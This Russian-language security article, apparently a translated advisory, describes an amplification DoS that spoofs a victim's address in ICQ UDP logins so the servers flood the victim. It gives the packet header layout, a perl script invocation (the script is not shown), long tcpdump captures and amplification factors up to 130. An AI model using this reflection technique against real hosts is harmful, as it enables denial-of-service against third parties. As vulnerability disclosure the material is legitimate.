DoS клиентов ICQ

Возможно использовать ICQ сервера для умножения трафика с коэффициентом 100 и даже больше. Это означает, что нападающий с полосой пропускания канала 38 Kbps может заполнять канал связи на 3.8 Mbps.

Известно, ЧТО ICQ использует UDP протокол как свой транспортный уровень. Область Каждый UDP пакет со стороны клиента начинается следующим заголовком (http://www.securitylab.ru/document/icqv5.html ):

Length  Content         Index               Description
2 bytes 05 00           VERSION             Protocol version
4 bytes 00 00 00 00     ZERO                Always zero
4 bytes xx xx xx xx      UIN                     Your UIN
4 bytes xx xx xx xx     SESSION_ID      Used to prevent spoofing
2 bytes xx xx           COMMAND         Command
2 bytes xx xx           SEQ_NUM1          Sequence inits with a random number
2 bytes xx xx           SEQ_NUM2          Inits with 1 (!)
4 bytes xx xx xx xx     CHECKCODE
variable xx ...         PARAMETERS      Parameters

(все пакеты со стороны клиента шифруются а со стороны сервера - нет, подробнее
http://www.securitylab.ru/document/encrypt-V5.txt )

SEQ_NUM1 инициализирован со случайным числом и увеличивается с каждым пакетом на 1 (!) (то есть если первый пакет содержит SEQ_NUM1=123, тогда следующий будет иметь SEQ_NUM1=124).

SEQ_NUM1 инициализирован в 1, и увеличивается на 1с каждым пакетом, если не определено другое значение (то есть установка SEQ_NUM2 = 0 при посылке CMD_KEEP_ALIVE)

SESSION_ID - случайное число, которое должно быть постоянным для каждого пакета текущего сеанса, иначе они игнорируются сервером. Кроме того, пакеты сервера отмечены тем же самым значением, чтобы предотвратить имитацию.

Нападение заключается в том, что соединяясь с сервером как зарегистрированный пользователь/пользователи, мы подменяем исходный адрес жертвы (желательно, но не обходимо поле "Our IP" в заголовке команды CMD_LOGIN). Этим, мы переадресовываем трафик ответа сервера жертве (это возможно не только из-за слабости UDP протокола, но также и из-за предсказуемости правил последовательности SEQ_NUM1 и SEQ_NUM2). Все эти факты – ядро для формирования нападения.

Реализация:

Чтобы проверить нападение, напишите perl сценарий, который вслепую пошлет пакеты, один за другим с некоторой задержкой. В результате чего получим:

% perl icqoff.pl icq.mirabilis.com 4000 yy.yy.yy.22 1027 (yy.yy.yy.22 – IP жертвы; 1027 порт)

tcpdump атакующего:

xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 80 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 28 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 53

tcpdump жертвы:

205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 41 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable

Из дампов мы видим, что жертва отвечает на пакеты, полученные с ICMP недостижимым сообщением, но сервер игнорирует их и продолжает посылать ~11-12 повторений с задержкой 6 секунд, надеясь, что другая сторона его слышит. Эти пакеты служат, чтобы сообщить жертве, кто из его контактного списка в online.

Подсчитывая мы видим, что отношение запроc/ответ примерно равно 330/10110, что соответствует увеличению 1:30.

Сценарий:

В предыдущей реализации, мы достигли намного не максимального умножения трафика, потому что нападающий использовал довольно короткий контактный список с 8 записями.

xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57

Однако, возможно послать список из 100 случайных активных пользователей, или списка наших специальных пользователей, которые постоянно находятся в online.

xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 425

Это приведет к лучшему росту, чем линейный в предыдущем случае.

1: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)

2: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)

3: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)

.

.

.

18: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)

19: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)

20: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF)

и в 10 раз больше, на каждые 20 пакетов...

В этот раз коэффициент умножения стал равен 130. Это означает что нападающий может увеличивать этот коэффициент, постоянно ища активных пользователей или создавая и поддерживая их в активном состоянии.

Другие сценарии:

В других случаях чтобы увеличивать трафик мы можем дополнительно послать запросы поиска (CMD_SEARCH_UIN, CMD_SEARCH_USER), различные сообщения (CMD_SEND_MESSAGE) и квитируемые сообщения (CMD_ACK), так, чтобы таймаут 6 секунд выполнялся параллельно, и мы можем это использовать пока сервер думает что мы в online.

Описанный выше способ может использоваться не только для DDoS нападений, но также и для быстрой регистрации множества UIN номеров от различных IP.


или введите имя

CAPTCHA